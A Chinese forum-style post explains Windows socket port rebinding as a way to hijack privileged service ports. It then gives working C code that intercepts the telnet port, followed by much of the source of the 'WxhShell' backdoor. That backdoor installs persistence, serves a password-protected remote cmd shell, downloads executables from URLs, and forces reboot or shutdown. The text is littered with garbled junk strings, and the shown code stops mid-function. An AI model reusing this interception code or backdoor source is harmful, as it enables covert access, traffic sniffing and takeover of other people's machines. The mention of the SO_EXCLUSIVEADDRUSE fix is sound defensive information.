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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y8fel2; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iu;VFa z~1S/,Ca saddr.sin_family = AF_INET; 1pN8,[hyR7 | OZ>5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); mVK^gJ3 P8ns @VV bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `V*$pHo Np.<&`p! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &s\/Uq q^QLNKOH" 这意味着什么?意味着可以进行如下的攻击: (8~Hr?1B xG'F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y>r^ MQ jq|fIP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JxRn)D sd*NY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :0o]#7 I Vw'YtZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 wc}4:~ 92*"3) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "9y0]~ uL~.#Y_jQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SuBUhzR 6Q*zZ]kg 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .[6T7fdi nv:VX{% #include |4` ;G(ta #include =feVT2* #include ,pdf$)
XB #include RNcnE1= DWORD WINAPI ClientThread(LPVOID lpParam); f4|ir3oy int main() }|c-i.0= { }\W^$e- WORD wVersionRequested; 0F&(}`V DWORD ret; `2HNQiK'@ WSADATA wsaData; TLz>|gr BOOL val; id1gK(F8H SOCKADDR_IN saddr; 'puiahA SOCKADDR_IN scaddr; .bRDz:?j int err; bHzH0v]: SOCKET s; cNl$
vP83z SOCKET sc; x!?$y_t int caddsize; zogl2e+ HANDLE mt; E/>kvs% DWORD tid; b X/%Q^Y wVersionRequested = MAKEWORD( 2, 2 ); 4L&Rs; err = WSAStartup( wVersionRequested, &wsaData ); =~k#<q1^ if ( err != 0 ) { TO]
cZZ< printf("error!WSAStartup failed!\n"); ;\Pq return -1; dp'k$el } xK_0@6
saddr.sin_family = AF_INET; f!cYLU1e@ TF@k{_f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :HH3=.qAp` j$z!kd+% saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /@LUD= saddr.sin_port = htons(23); =UZQ` { if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v-B&"XGy: { 1?".R]<{2T printf("error!socket failed!\n"); [|L~" BB return -1; v)v`896S` } 3lefB
A7 val = TRUE; vUJQ<D //SO_REUSEADDR选项就是可以实现端口重绑定的 [-3x *?Ju if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kY~o3p< { 6CNxb printf("error!setsockopt failed!\n"); IvB)d}p return -1; 5VE9DTE } A_|X54}w& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7KV0g1GQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VyOpPIP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mX@!O[f%9e 0NyM| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hoZM;wC { l}9E0^AS ret=GetLastError(); Yj*!t1qm printf("error!bind failed!\n"); ">Y(0^^ return -1; U)qG]RI } ~J|B listen(s,2); KU87WpjX while(1) XchVsA { wv&%09U caddsize = sizeof(scaddr); Z$Vd8U;
//接受连接请求 [d6TwKv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s-T#-raE if(sc!=INVALID_SOCKET) W7q!F {
dm{/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RjGJfN{ if(mt==NULL) HP[M"u { }(w9[(K printf("Thread Creat Failed!\n"); >8w=Vlp break; GFYHt!&[\ } UiN6-{v<2 } sN@=Ri?\ CloseHandle(mt); ko`KAU<T_ } H>|*D~RdT closesocket(s); R9^RG-x WSACleanup(); j>|mpfU return 0; I?Q[ZH:M } QlH,-]N$L DWORD WINAPI ClientThread(LPVOID lpParam) <U2Un 0T { T1YbF/M' SOCKET ss = (SOCKET)lpParam; KO=H!Em\l SOCKET sc; G`FY[^: unsigned char buf[4096]; 4So
,m0v SOCKADDR_IN saddr; PsyXt5Dk long num; ^:^8M4: DWORD val; _F tI2G9 DWORD ret; U3M;6j9` //如果是隐藏端口应用的话,可以在此处加一些判断 .=/TT|eMS //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >VB*Xt\C& saddr.sin_family = AF_INET; ew|e66Tw$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -zH` 9>J5| saddr.sin_port = htons(23); _K<Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~)]R { YC =:W printf("error!socket failed!\n"); 78FLy7 return -1; M IR))j; } fO 6Jug val = 100; y"Jma`Vjq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W=!di3IA { '2xfU ret = GetLastError(); c"`CvQO64 return -1; _|s'0F/t } fzW!- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 71OQ?fc { ,g{Ob{qT ret = GetLastError(); 1ac;6` return -1; j@Y'>3 } CP6xyXOlPB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yFjjpEpnFt { "D7wtpJ printf("error!socket connect failed!\n"); ,2Q5'!o closesocket(sc); "4/J4'- closesocket(ss); lD@`xq.M; return -1; ;&ypvKG } ko`.nSZ-k while(1) )wfqGkr=m! { C0
o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H{VJS Jc{ //如果是嗅探内容的话,可以再此处进行内容分析和记录 )]3_o!o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,p9>/)l num = recv(ss,buf,4096,0); !9vq"J~hz" if(num>0) C=<PYkt,L send(sc,buf,num,0); [^eQGv[S else if(num==0) T6I$7F break; zF#:Uc`C5U num = recv(sc,buf,4096,0); SuFGIb7E if(num>0) rtZEK:.# send(ss,buf,num,0); V D.T=( else if(num==0) ]r(s02 break; aW;DfH } L_Lhmtm}m closesocket(ss); @agxu-Y closesocket(sc); y5`$Aa4~ return 0 ; 9;`E,w } (Kb_/ ECr}7R% -^&NwLEv= ========================================================== 8;"HM5+ YzeNr* 下边附上一个代码,,WXhSHELL :L5k#E"u i{4J$KT ========================================================== tDn:B$*}W, 1Y(NxC0P=g #include "stdafx.h"
u E<1PgW ,<!v!~Iy #include <stdio.h> JNxrs~} #include <string.h> r Zg(%6@ #include <windows.h> 0vrx5E! #include <winsock2.h> +CXtTasP #include <winsvc.h> #(G"ya #include <urlmon.h> pRGag~h|E Oe"nNvu/ #pragma comment (lib, "Ws2_32.lib") (svKq(X #pragma comment (lib, "urlmon.lib") 'QC'*Hl 87yZd8+) #define MAX_USER 100 // 最大客户端连接数 Rh#QPYPq #define BUF_SOCK 200 // sock buffer M992XXd #define KEY_BUFF 255 // 输入 buffer ZXC_kmBN/ k8E{pc6; #define REBOOT 0 // 重启 4{CeV7 #define SHUTDOWN 1 // 关机 ^~JF7u uXo? #define DEF_PORT 5000 // 监听端口 x<\5Jrqt KK,
t !a #define REG_LEN 16 // 注册表键长度 _o'a|=Osx> #define SVC_LEN 80 // NT服务名长度 g1&>.V}! EClx+tz;` // 从dll定义API F-%Hw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -SUK [<=X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aXh~w<5F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h8hyQd$! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <N,:w`g# L-[A1#n // wxhshell配置信息 XS=f>e1<W struct WSCFG { }0AoV&75 int ws_port; // 监听端口 l-?#oy char ws_passstr[REG_LEN]; // 口令 DAf0bh" int ws_autoins; // 安装标记, 1=yes 0=no %Z+FX,AK char ws_regname[REG_LEN]; // 注册表键名 3#N`n |UgC char ws_svcname[REG_LEN]; // 服务名 ob]j1gYb char ws_svcdisp[SVC_LEN]; // 服务显示名 UM:]QbaIn char ws_svcdesc[SVC_LEN]; // 服务描述信息 &.[I}KH|B char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <7_s'UAL! int ws_downexe; // 下载执行标记, 1=yes 0=no ,C0D|q4/!. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2U@:.S'K char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vE&K!k` t_w2J =2 }; Y@ X>ejk" )LTX.Kg // default Wxhshell configuration N^f_hL|:9 struct WSCFG wscfg={DEF_PORT, r -$VPW "xuhuanlingzhe", /_1q)`NYy 1, *>E_lWW. "Wxhshell", {h0T_8L/ "Wxhshell", o'K= X E "WxhShell Service", ([dJ'OPx$ "Wrsky Windows CmdShell Service", xiOAj"}~ "Please Input Your Password: ", c'SjH".[ 1, pMd!Jl#(N
" http://www.wrsky.com/wxhshell.exe", X"g`hT"i "Wxhshell.exe" r7-H`%. }; }h1y^fuGi uSUog+i // 消息定义模块 C2H2*" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W#kd[Wi char *msg_ws_prompt="\n\r? for help\n\r#>"; %>Mcme>(W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >f70-D28 char *msg_ws_ext="\n\rExit."; 5O[\gd- char *msg_ws_end="\n\rQuit."; Egmp8:nZl@ char *msg_ws_boot="\n\rReboot..."; ^J'O8G$ char *msg_ws_poff="\n\rShutdown..."; %#TAz7 char *msg_ws_down="\n\rSave to "; fLZ mQO u4h.\ul8% char *msg_ws_err="\n\rErr!"; 7ygz52 char *msg_ws_ok="\n\rOK!"; ^~^=$fz h?p!uQ char ExeFile[MAX_PATH]; {LBL8sG int nUser = 0; mC}
b>\ HANDLE handles[MAX_USER]; =
OzpI int OsIsNt; r6vI6|1 ~ DP5Qi SERVICE_STATUS serviceStatus; IO7cRg'-F SERVICE_STATUS_HANDLE hServiceStatusHandle; lC@wCgc F0tcVdv // 函数声明 OV|n/~ int Install(void); s*R UYx int Uninstall(void); Zi{vEI ] int DownloadFile(char *sURL, SOCKET wsh); U#:N/ts*( int Boot(int flag); X 4\V4_ void HideProc(void); >dXB)yl int GetOsVer(void); (L`IL e*
int Wxhshell(SOCKET wsl); UJ><B" void TalkWithClient(void *cs); o:`^1 int CmdShell(SOCKET sock); `=%G&_3_< int StartFromService(void); 8ib e#jlg int StartWxhshell(LPSTR lpCmdLine); ce:wF#Qs 49=
K]X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (t5vBUj VOID WINAPI NTServiceHandler( DWORD fdwControl ); |E&|6h1 v%7Gh-P // 数据结构和表定义 ssAGWP SERVICE_TABLE_ENTRY DispatchTable[] = /9o6R:B { baGV]=j {wscfg.ws_svcname, NTServiceMain}, e5(c,,/ {NULL, NULL} .|0$?w }; vI]V@il =R*IOJ // 自我安装 ET(/h/r int Install(void) cZ3A~dTOR { A<IV"bo char svExeFile[MAX_PATH]; +mN8uU~(kx HKEY key; NfZC} strcpy(svExeFile,ExeFile); .Hg{$SAC(w g){gF( // 如果是win9x系统,修改注册表设为自启动 @(IA:6GN if(!OsIsNt) { 4U3 `g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.Y45(@E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zt}b}Bz RegCloseKey(key); -$I$z o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &FG0v<f5Pv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Y?``QBN RegCloseKey(key); 5%+epzy return 0; E {UhM q7 } .
LeS- } F^&@[k7WW } DABV}@ K" else { uK0L> qp{~OW3 // 如果是NT以上系统,安装为系统服务 c3WF!~1r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i!eY"|o if (schSCManager!=0) / 2MhP=, { WBR# Ux SC_HANDLE schService = CreateService #<G:& ( ,{_56j^d, schSCManager, SeuDJxqopD wscfg.ws_svcname, !&5|:96o wscfg.ws_svcdisp, 58R.`5B SERVICE_ALL_ACCESS, m~4ik1wq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "]W,,A- SERVICE_AUTO_START, `Om
W#\ SERVICE_ERROR_NORMAL, 5sSAH svExeFile, _o&NbDH NULL, +0%Y.O/{ NULL, iFZ.a.NDc NULL, Ym6v 4k!@O NULL, _-2;!L#/ NULL /T2 v`Li );
^CD?SP"i if (schService!=0) ^S 45!mSb { } ?MbU6" CloseServiceHandle(schService); kx;7/fH CloseServiceHandle(schSCManager); Q_dMuoI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &UO/p/a strcat(svExeFile,wscfg.ws_svcname); 93=?^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V9cj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _|{Z850AS RegCloseKey(key); x4,[5N"}YK return 0; 9P*f } wUL 5"\ } Yp\Y]pym CloseServiceHandle(schSCManager); ?1r<`o3l\ } j%}9tM6[ } M"-.D;sa1 olKM0K return 1; )u0/s' } 3J8M0W /. H(& // 自我卸载 Ucz=\dO1 int Uninstall(void) }PM7CZSq { 40z1Qkmaey HKEY key; yCkX+{ki Bn.5ivF3 if(!OsIsNt) { \jZ)r>US" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 24wr=5p]Q RegDeleteValue(key,wscfg.ws_regname); K[x=knFO
RegCloseKey(key); ;wTc_i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8idI Jm%y RegDeleteValue(key,wscfg.ws_regname); @LSX@V
RegCloseKey(key); CWJN{ return 0; f{uS } 4vNH"72P } wFjQ1<s= } /lhk}
y^ else { 4J?\JcGs '8FHn~F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .v-2A);I if (schSCManager!=0) r]]:/pw?t { BK
wo2=m~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +|x%a2?x: if (schService!=0) L(9AcP { (*,R21<% if(DeleteService(schService)!=0) { 5Zmc3&vRl CloseServiceHandle(schService); TI\EkKu" CloseServiceHandle(schSCManager); \rE] V,,2 return 0; 9<kMxtk$ } ?mN!9/DIc CloseServiceHandle(schService); yo%Nz" } `?f<hIJoz CloseServiceHandle(schSCManager); M1T . } m"6K_4r] } 'I:_}q Bwu?DK return 1; IkxoW:L } `$FB[Z} & qEVpkvEq // 从指定url下载文件 P+C5
s int DownloadFile(char *sURL, SOCKET wsh) Z v*uUe { AYfe_Dj HRESULT hr; <GLoTolZ char seps[]= "/"; ",#Ug"|2 char *token; vNdW.V} char *file; jVHS1Vsei char myURL[MAX_PATH]; l3/Cj^o4 char myFILE[MAX_PATH]; }*O8]lG P*OT&q strcpy(myURL,sURL); %!A-K1Z\D token=strtok(myURL,seps); 4vND ~9d while(token!=NULL) ^(@]5$^Z { ;0NJX)GL file=token; c#>:U,j token=strtok(NULL,seps); C5jt(!pi } 4W<[& )7 A
PrrUo GetCurrentDirectory(MAX_PATH,myFILE); M
9NT%7Il strcat(myFILE, "\\"); J)|I/8!# strcat(myFILE, file); t:v>W8N53 send(wsh,myFILE,strlen(myFILE),0); P0U&+^W"9 send(wsh,"...",3,0); 4ElS_u^cP7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C~'.3Q6 if(hr==S_OK) ?^LG>GgV return 0; [fELf(;( else V|*3*W return 1; [57`V&c5 UIU6rilB } 8@|{n`n] >%slzr // 系统电源模块 }o\} qu* int Boot(int flag) 6Q{OM:L/;. { mS49l HANDLE hToken; IWI$@dng6 TOKEN_PRIVILEGES tkp; ~=<uYv?0s "
RIt if(OsIsNt) { !lA~;F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *y$CDv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kV8qpw}K tkp.PrivilegeCount = 1; _lRIS_^;eE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hzpl;Mj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (]10Z8"fJ if(flag==REBOOT) { w'7J`n:{] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OYb:);o,iE return 0; |`fuu2W! } c0w1
N]+Ne else { ps:E(\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n36iY'<) G return 0; "9N;&^I } gA3f@7}d } }]<|`FNc else { @x;(yqOb if(flag==REBOOT) { NS;LFeGD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {A5$8)nl| return 0; 1N5lI97j } -.L )\ else { FIu^Qd if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U!E}(9
tb return 0; 2Uu!_n}tNF } KuL+~ } "|R75m,Id ic l]H return 1; =EU;%f } .CNwuN\ aSgKh // win9x进程隐藏模块 vj]h[=: void HideProc(void) NgF"1E { oiD{Z ml!c0< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BxZ7Bk if ( hKernel != NULL ) kpNp}b8'] { tZFpxyF
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ->7zVAX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0F%?<:
& FreeLibrary(hKernel); yL
-}E } O`aNNy \MPbG$ ^ return; o`
dQ } sI09X6) $Zkk14 // 获取操作系统版本 @gM}&G08 int GetOsVer(void) xVN!w\0 { 2U"2L^oKI OSVERSIONINFO winfo; :JZV=@<T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9E0x\%2K GetVersionEx(&winfo); \+0l#t$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I[w5V;>* return 1; 8!@}\6qM else *O\lR-z!k return 0; wm9wnAy } x3.,zfWs j*;.>akY7 // 客户端句柄模块 \~t!M~H int Wxhshell(SOCKET wsl) TmM~uc7mj { %az6\"n SOCKET wsh; G)_Zls2; struct sockaddr_in client; ?IoA;GBg DWORD myID; mZuLwd$0 ,WM-%2z^4I while(nUser<MAX_USER) lvNi/jk { Pv3G?u=4 int nSize=sizeof(client); #\ysn|!J, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _+~&t9A! if(wsh==INVALID_SOCKET) return 1; >hV2p/D JZE@W-2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j%J>LeTca if(handles[nUser]==0) ;18u02z^ closesocket(wsh); /E i e5p else Ww#!-,*]o nUser++; +Yc@<$4 } wjgF e] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G%=
gCR (hIo0. return 0; Y]uVA`%"b } 5r~hs6H v(Sh+p // 关闭 socket ?,%PemN void CloseIt(SOCKET wsh) aygK$.wos { W"CG&. closesocket(wsh); PAxR?2m{ nUser--; 'fk6]&-I ExitThread(0); ^\Q%VTM } ZvO1=*
J, ~`B]G // 客户端请求句柄 #JXXq%4
@ void TalkWithClient(void *cs) UN:qE oS { '*
/$66| y7GgTC/H SOCKET wsh=(SOCKET)cs; B?y[ %i char pwd[SVC_LEN]; ?8U]UM6Tu4 char cmd[KEY_BUFF]; eV}H char chr[1]; w*o2lg9 int i,j; !-
5z 1b) XdOntP *a while (nUser < MAX_USER) { WW!-,d{{@ DZEq(>mn if(wscfg.ws_passstr) { XV`8Vb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;d]vAj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yF|+oTp //ZeroMemory(pwd,KEY_BUFF); sBqOcy i=0; VwK7\jV while(i<SVC_LEN) { Ai5+ ;8z+
K\s<<dRa // 设置超时 -dfs8 [i fd_set FdRead; aVr =7PeF struct timeval TimeOut; BqA_CW FD_ZERO(&FdRead); |oe FD_SET(wsh,&FdRead); {k[dg0UV TimeOut.tv_sec=8; 4Mt RI TimeOut.tv_usec=0; wrK@1F9! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lIO#)> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5j9%W18 lLglF4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m@0> =s~. pwd =chr[0]; t=s.w(3t if(chr[0]==0xd || chr[0]==0xa) { "QD>:G;u pwd=0; S;%k?O7v break; `9P`f4x } b@K1;A! S i++; $&Z#2
X. } NVB#=!S h]&~yuI> // 如果是非法用户,关闭 socket t -fmA?\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sl%6F! } /;E=)(w TgJ6O,0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \$F#bIjC send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HMmVfGp] y-gXGvZ while(1) { EVA&By6_k u),.q7(m ZeroMemory(cmd,KEY_BUFF); 5l%g3F bUSa#pNO> // 自动支持客户端 telnet标准 W{j(=<|< j=0; N%e^2O) while(j<KEY_BUFF) { ]&P 4QT)f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t'.:"H8BI cmd[j]=chr[0]; }9;mtMR$ if(chr[0]==0xa || chr[0]==0xd) { b' ~WS4xlD cmd[j]=0; }LLQ+ break; 5 [4{1v } Re'3 bs:+ j++; soX^$l
} Ae1b`%To ^< // 下载文件 *Gj`1#Z$ if(strstr(cmd,"http://")) { Ag8lI+
h send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Y~'U
=9 if(DownloadFile(cmd,wsh)) 8|5+\1!#/) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Lg#co}9 else 3 +`,'Q9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0V`~z-# } ZjrBOb else { ej=}OH4 :
Cli8# switch(cmd[0]) { 0~W6IGE~ UDnCHGq // 帮助 H6`zzH0" case '?': { eW}-UeT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sN5Mm8~ break; +~M.VsX } ?Jgqb3+!o // 安装 SxcE@WM case 'i': { Rz6kwh=q if(Install()) -@B6 $XWL send(wsh,msg_ws_err,strlen(msg_ws_err),0); TD4
n%k. else HIfi18 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F5M|QX@- break; wgq=9\+& } ejbtdU8N< // 卸载 !X-ThKEq case 'r': { eiRVw5g if(Uninstall()) %/hokyx send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'GO*6$/ else J{Ld)Q,^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T]b&[?p|a[ break; f rV_5yK' } #BZ5Mxzj // 显示 wxhshell 所在路径 G(t&(t`[ case 'p': { t~!ag#3['. char svExeFile[MAX_PATH]; Y|W#VyM- strcpy(svExeFile,"\n\r"); d(|4 +^> strcat(svExeFile,ExeFile); 5-S-r9 send(wsh,svExeFile,strlen(svExeFile),0); `FX?P`\@I break; PQz[IZ } *e<'|Kq // 重启 %>y!N!.F case 'b': { VMNdC} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J&+" if(Boot(REBOOT)) 2^U?Ztth6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xd1+?2 else { ~L>&p closesocket(wsh); ??++0<75 ExitThread(0); Gvr>n@n } '] _7Xa' break; t_(S e } :r{W)(mm // 关机 _eH@G(W( case 'd': { w[)HQ1K send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DQ0 UY if(Boot(SHUTDOWN)) l}#d^S/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); JxM32?Rm*w else { `/WOP`'zM closesocket(wsh); 2+R]q35- ExitThread(0); GW%!?mJ } *GdJ<B$ break; %0 U@k!lP } WM=)K1p0u // 获取shell $%ww$3 case 's': { %Rk0sfLvn CmdShell(wsh); 2o W'B^- closesocket(wsh); tlI]);iE, ExitThread(0); *ODc[k'( break; <UGM/+aO } ygUX ]*m! // 退出 !L/.[:X case 'x': { (+BrC` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f;&XTF5D^ CloseIt(wsh); Uf?+oc'{ break; gAsjkNt? } 87KSV"IU8 // 离开 )[yKO case 'q': { &iy7It send(wsh,msg_ws_end,strlen(msg_ws_end),0); f&&Ao closesocket(wsh); C?6q]k]r WSACleanup(); -:b<~S[ exit(1); 2t=&h|6EW break; ?4R q + } LVL#qNIu } :
>$v@d } (?.h<v1} EvA8<o // 提示信息 " ;\EU4R if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +hH7|:JQ } ]a:T]x6' } A!$sOp v)*eLX$ return; a"k,x-EL( } Ct3+ga$ =~dsIG // shell模块句柄 ER4#5gd int CmdShell(SOCKET sock) 7EL0!:P p3 { vQDR;T"] STARTUPINFO si; @Qqf4h ZeroMemory(&si,sizeof(si)); CwO$EL:[` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y&i&H=U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~4ijiw$ PROCESS_INFORMATION ProcessInfo; >R\@W(-g` char cmdline[]="cmd"; %@C$xM" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fRzJiM{ return 0; T+!0`~` } q1|@v#kH6 ;\T~Hc}&; // 自身启动模式 GzT?I
7|M int StartFromService(void) 160BgFM { o+S?j*mv@ typedef struct :/}=s5aQl/ { =knBwjeD DWORD ExitStatus; D2\Ep L/ DWORD PebBaseAddress; = mhg@N4 DWORD AffinityMask; Yg1HvSw\ DWORD BasePriority; Z/;8eb*B7 ULONG UniqueProcessId; QxBH{TG ULONG InheritedFromUniqueProcessId; 8PG&/"K } PROCESS_BASIC_INFORMATION; J]Q-#g'Z Ti#x62X{ PROCNTQSIP NtQueryInformationProcess; mx2Ov u RF\h69]:I static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M%Q_;\?] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AJP-7PPD [-#q'S HANDLE hProcess; _IvqZ/6Y( PROCESS_BASIC_INFORMATION pbi; cZw_^@! u$ ^r(.EV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :QMpp}G if(NULL == hInst ) return 0; 9*CRMkPrd Z>W&vDeuN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C{V,=Fo^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 